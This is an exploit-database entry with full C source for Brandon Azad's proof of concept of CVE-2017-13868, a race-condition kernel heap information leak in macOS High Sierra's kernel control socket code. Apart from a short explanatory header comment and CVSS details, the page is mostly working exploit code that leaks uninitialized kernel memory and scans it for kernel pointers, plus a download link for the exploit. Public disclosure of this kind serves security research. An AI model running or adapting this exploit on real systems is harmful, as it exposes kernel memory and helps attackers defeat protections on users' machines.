Apple macOS High Sierra 10.13 ctl_ctloutput-leak Information Leak

2018.03.03
Credit: Brandon Azad
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-200


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

/* * ctl_ctloutput-leak.c * Brandon Azad * * CVE-2017-13868 * * While looking through the source code of XNU version 4570.1.46, I noticed that the function * ctl_ctloutput() in the file bsd/kern/kern_control.c does not check the return value of * sooptcopyin(), which makes it possible to leak the uninitialized contents of a kernel heap * allocation to user space. Triggering this information leak requires root privileges. * * The ctl_ctloutput() function is called when a userspace program calls getsockopt(2) on a kernel * control socket. The relevant code does the following: * (a) It allocates a kernel heap buffer for the data parameter to getsockopt(), without * specifying the M_ZERO flag to zero out the allocated bytes. * (b) It copies in the getsockopt() data from userspace using sooptcopyin(), filling the data * buffer just allocated. This copyin is supposed to completely overwrite the allocated data, * which is why the M_ZERO flag was not needed. However, the return value of sooptcopyin() is * not checked, which means it is possible that the copyin has failed, leaving uninitialized * data in the buffer. The copyin could fail if, for example, the program passed an unmapped * address to getsockopt(). * (c) The code then calls the real getsockopt() implementation for this kernel control socket. * This implementation should process the input buffer, possibly modifying it and shortening * it, and return a result code. However, the implementation is free to assume that the * supplied buffer has already been initialized (since theoretically it comes from user * space), and hence several implementations don't modify the buffer at all. The NECP * function necp_ctl_getopt(), for example, just returns 0 without processing the data buffer * at all. * (d) Finally, if the real getsockopt() implementation doesn't return an error, ctl_ctloutput() * calls sooptcopyout() to copy the data buffer back to user space. * * Thus, by specifying an unmapped data address to getsockopt(2), we can cause a heap buffer of a * controlled size to be allocated, prevent the contents of that buffer from being initialized, and * then reach a call to sooptcopyout() that tries to write that buffer back to the unmapped * address. All we need to do for the copyout to succeed is remap that address between the calls to * sooptcopyin() and sooptcopyout(). If we can do that, then we will leak uninitialized kernel heap * data to userspace. * * It turns out that this is a pretty easy race to win. While testing on my 2015 Macbook Pro, the * mean number of attempts to win the race was never more than 600, and the median was never more * than 5. (This testing was conducted with DEBUG off, since the printfs dramatically slow down the * exploit.) * * This program exploits this vulnerability to leak data from a kernel heap buffer of a * user-specified size. No attempt is made to seed the heap with interesting data. Tested on macOS * High Sierra 10.13 (build 17A365). * * Download: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44234.zip * */ #if 0 if (sopt->sopt_valsize && sopt->sopt_val) { MALLOC(data, void *, sopt->sopt_valsize, M_TEMP, // (a) data is allocated M_WAITOK); // without M_ZERO. if (data == NULL) return (ENOMEM); /* * 4108337 - copy user data in case the * kernel control needs it */ error = sooptcopyin(sopt, data, // (b) sooptcopyin() is sopt->sopt_valsize, sopt->sopt_valsize); // called to fill the } // buffer; the return len = sopt->sopt_valsize; // value is ignored. socket_unlock(so, 0); error = (*kctl->getopt)(kctl->kctlref, kcb->unit, // (c) The getsockopt() kcb->userdata, sopt->sopt_name, // implementation is data, &len); // called to process if (data != NULL && len > sopt->sopt_valsize) // the buffer. panic_plain("ctl_ctloutput: ctl %s returned " "len (%lu) > sopt_valsize (%lu)\n", kcb->kctl->name, len, sopt->sopt_valsize); socket_lock(so, 0); if (error == 0) { if (data != NULL) error = sooptcopyout(sopt, data, len); // (d) If (c) succeeded, else // then the data buffer sopt->sopt_valsize = len; // is copied out to } // userspace. #endif #include <errno.h> #include <mach/mach.h> #include <netinet/in.h> #include <pthread.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <sys/ioctl.h> #include <unistd.h> #if __x86_64__ // ---- Header files not available on iOS --------------------------------------------------------- #include <mach/mach_vm.h> #include <sys/sys_domain.h> #include <sys/kern_control.h> #else /* __x86_64__ */ // If we're not on x86_64, then we probably don't have access to the above headers. The following // definitions are copied directly from the macOS header files. // ---- Definitions from mach/mach_vm.h ----------------------------------------------------------- extern kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags ); extern kern_return_t mach_vm_deallocate ( vm_map_t target, mach_vm_address_t address, mach_vm_size_t size ); // ---- Definitions from sys/sys_domain.h --------------------------------------------------------- #define SYSPROTO_CONTROL 2 /* kernel control protocol */ #define AF_SYS_CONTROL 2 /* corresponding sub address type */ // ---- Definitions from sys/kern_control.h ------------------------------------------------------- #define CTLIOCGINFO _IOWR('N', 3, struct ctl_info) /* get id from name */ #define MAX_KCTL_NAME 96 struct ctl_info { u_int32_t ctl_id; /* Kernel Controller ID */ char ctl_name[MAX_KCTL_NAME]; /* Kernel Controller Name (a C string) */ }; struct sockaddr_ctl { u_char sc_len; /* depends on size of bundle ID string */ u_char sc_family; /* AF_SYSTEM */ u_int16_t ss_sysaddr; /* AF_SYS_KERNCONTROL */ u_int32_t sc_id; /* Controller unique identifier */ u_int32_t sc_unit; /* Developer private unit number */ u_int32_t sc_reserved[5]; }; #endif /* __x86_64__ */ // ---- Definitions from bsd/net/necp.h ----------------------------------------------------------- #define NECP_CONTROL_NAME "com.apple.net.necp_control" // ---- Macros ------------------------------------------------------------------------------------ #if DEBUG #define DEBUG_TRACE(fmt, ...) printf(fmt"\n", ##__VA_ARGS__) #else #define DEBUG_TRACE(fmt, ...) #endif #define ERROR(fmt, ...) printf("Error: "fmt"\n", ##__VA_ARGS__) // ---- Kernel heap infoleak ---------------------------------------------------------------------- // A callback block that will be called each time kernel data is leaked. leak_data and leak_size // are the kernel data that was leaked and the size of the leak. This function should return true // to finish and clean up, false to retry the leak. typedef bool (^kernel_leak_callback_block)(const void *leak_data, size_t leak_size); // Open the control socket for com.apple.necp. Requires root privileges. static bool open_necp_control_socket(int *necp_ctlfd) { int ctlfd = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL); if (ctlfd < 0) { ERROR("Could not create a system control socket: errno %d", errno); return false; } struct ctl_info ctlinfo = { .ctl_id = 0 }; strncpy(ctlinfo.ctl_name, NECP_CONTROL_NAME, sizeof(ctlinfo.ctl_name)); int err = ioctl(ctlfd, CTLIOCGINFO, &ctlinfo); if (err) { close(ctlfd); ERROR("Could not retrieve the control ID number for %s: errno %d", NECP_CONTROL_NAME, errno); return false; } struct sockaddr_ctl addr = { .sc_len = sizeof(addr), .sc_family = AF_SYSTEM, .ss_sysaddr = AF_SYS_CONTROL, .sc_id = ctlinfo.ctl_id, // com.apple.necp .sc_unit = 0, // Let the kernel pick the control unit. }; err = connect(ctlfd, (struct sockaddr *)&addr, sizeof(addr)); if (err) { close(ctlfd); ERROR("Could not connect to the NECP control system (ID %d) " "unit %d: errno %d", addr.sc_id, addr.sc_unit, errno); return false; } *necp_ctlfd = ctlfd; return true; } // Allocate a virtual memory region at the address pointed to by map_address. If map_address points // to a NULL address, then the allocation is created at an arbitrary address which is stored in // map_address on return. static bool allocate_map_address(void **map_address, size_t map_size) { mach_vm_address_t address = (mach_vm_address_t) *map_address; bool get_address = (address == 0); int flags = (get_address ? VM_FLAGS_ANYWHERE : VM_FLAGS_FIXED); kern_return_t kr = mach_vm_allocate(mach_task_self(), &address, map_size, flags); if (kr != KERN_SUCCESS) { ERROR("Could not allocate virtual memory: mach_vm_allocate %d: %s", kr, mach_error_string(kr)); return false; } if (get_address) { *map_address = (void *)address; } return true; } // Deallocate the mapping created by allocate_map_address. static void deallocate_map_address(void *map_address, size_t map_size) { mach_vm_deallocate(mach_task_self(), (mach_vm_address_t) map_address, map_size); } // Context for the map_address_racer thread. struct map_address_racer_context { pthread_t thread; volatile bool running; volatile bool deallocated; volatile bool do_map; volatile bool restart; bool success; void * address; size_t size; }; // The racer thread. This thread will repeatedly: (a) deallocate the address; (b) spin until do_map // is true; (c) allocate the address; (d) spin until the main thread sets restart to true or // running to false. If the thread encounters an internal error, it sets success to false and // exits. static void *map_address_racer(void *arg) { struct map_address_racer_context *context = arg; while (context->running) { // Deallocate the address. deallocate_map_address(context->address, context->size); context->deallocated = true; // Wait for do_map to become true. while (!context->do_map) {} context->do_map = false; // Do a little bit of work so that the allocation is more likely to take place at // the right time. close(-1); // Re-allocate the address. If this fails, abort. bool success = allocate_map_address(&context->address, context->size); if (!success) { context->success = false; break; } // Wait while we're still running and not told to restart. while (context->running && !context->restart) {} context->restart = false; }; return NULL; } // Start the map_address_racer thread. static bool start_map_address_racer(struct map_address_racer_context *context, size_t leak_size) { // Allocate the initial block of memory, fixing the address. context->address = NULL; context->size = leak_size; if (!allocate_map_address(&context->address, context->size)) { goto fail_0; } // Start the racer thread. context->running = true; context->deallocated = false; context->do_map = false; context->restart = false; context->success = true; int err = pthread_create(&context->thread, NULL, map_address_racer, context); if (err) { ERROR("Could not create map_address_racer thread: errno %d", err); goto fail_1; } return true; fail_1: deallocate_map_address(context->address, context->size); fail_0: return false; } // Stop the map_address_racer thread. static void stop_map_address_racer(struct map_address_racer_context *context) { // Exit the thread. context->running = false; context->do_map = true; pthread_join(context->thread, NULL); // Deallocate the memory. deallocate_map_address(context->address, context->size); } // Try the NECP leak once. Returns true if the leak succeeded. static bool try_necp_leak(int ctlfd, struct map_address_racer_context *context) { socklen_t length = context->size; // Wait for the map to be deallocated. while (!context->deallocated) {}; context->deallocated = false; // Signal the racer to do the mapping. context->do_map = true; // Try to trigger the leak. int err = getsockopt(ctlfd, SYSPROTO_CONTROL, 0, context->address, &length); if (err) { DEBUG_TRACE("Did not allocate in time"); return false; } // Most of the time we end up here: allocating too early. If the first two words are both // 0, then assume we didn't make the leak. We need the leak size to be at least 16 bytes. uint64_t *data = context->address; if (data[0] == 0 && data[1] == 0) { return false; } // WOW! It worked! return true; } // Repeatedly try the NECP leak, until either we succeed or hit the maximum retry limit. static bool try_necp_leak_repeat(int ctlfd, kernel_leak_callback_block kernel_leak_callback, struct map_address_racer_context *context) { const size_t MAX_TRIES = 10000000; bool has_leaked = false; for (size_t try = 1;; try++) { // Try the leak once. if (try_necp_leak(ctlfd, context)) { DEBUG_TRACE("Triggered the leak after %zu %s!", try, (try == 1 ? "try" : "tries")); try = 0; has_leaked = true; // Give the leak to the callback, and finish if it says we're done. if (kernel_leak_callback(context->address, context->size)) { return true; } } // If we haven't successfully leaked anything after MAX_TRIES attempts, give up. if (!has_leaked && try >= MAX_TRIES) { ERROR("Giving up after %zu unsuccessful leak attempts", try); return false; } // Reset for another try. context->restart = true; } } // Leak kernel heap data repeatedly until the callback function returns true. static bool leak_kernel_heap(size_t leak_size, kernel_leak_callback_block kernel_leak_callback) { const size_t MIN_LEAK_SIZE = 16; bool success = false; if (leak_size < MIN_LEAK_SIZE) { ERROR("Target leak size too small; must be at least %zu bytes", MIN_LEAK_SIZE); goto fail_0; } int ctlfd; if (!open_necp_control_socket(&ctlfd)) { goto fail_0; } struct map_address_racer_context context; if (!start_map_address_racer(&context, leak_size)) { goto fail_1; } if (!try_necp_leak_repeat(ctlfd, kernel_leak_callback, &context)) { goto fail_2; } success = true; fail_2: stop_map_address_racer(&context); fail_1: close(ctlfd); fail_0: return success; } // ---- Main -------------------------------------------------------------------------------------- // Dump data to stdout. static void dump(const void *data, size_t size) { const uint8_t *p = data; const uint8_t *end = p + size; unsigned off = 0; while (p < end) { printf("%06x: %02x", off & 0xffffff, *p++); for (unsigned i = 1; i < 16 && p < end; i++) { bool space = (i % 8) == 0; printf(" %s%02x", (space ? " " : ""), *p++); } printf("\n"); off += 16; } } int main(int argc, const char *argv[]) { // Parse the arguments. if (argc != 2) { ERROR("Usage: %s <leak-size>", argv[0]); return 1; } char *end; size_t leak_size = strtoul(argv[1], &end, 0); if (*end != 0) { ERROR("Invalid leak size '%s'", argv[1]); return 1; } // Try to leak interesting data from the kernel. const size_t MAX_TRIES = 50000; __block size_t try = 1; __block bool leaked = false; bool success = leak_kernel_heap(leak_size, ^bool (const void *leak, size_t size) { // Try to find an kernel pointer in the leak. const uint64_t *p = leak; for (size_t i = 0; i < size / sizeof(*p); i++) { if (p[i] >> 48 == 0xffff) { dump(leak, size); leaked = true; return true; } } #if DEBUG // Show this useless leak anyway. DEBUG_TRACE("Boring leak:"); dump(leak, size); #endif // If we've maxed out, just bail. if (try >= MAX_TRIES) { ERROR("Could not leak interesting data after %zu attempts", try); return true; } try++; return false; }); return (success && leaked ? 0 : 1); }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top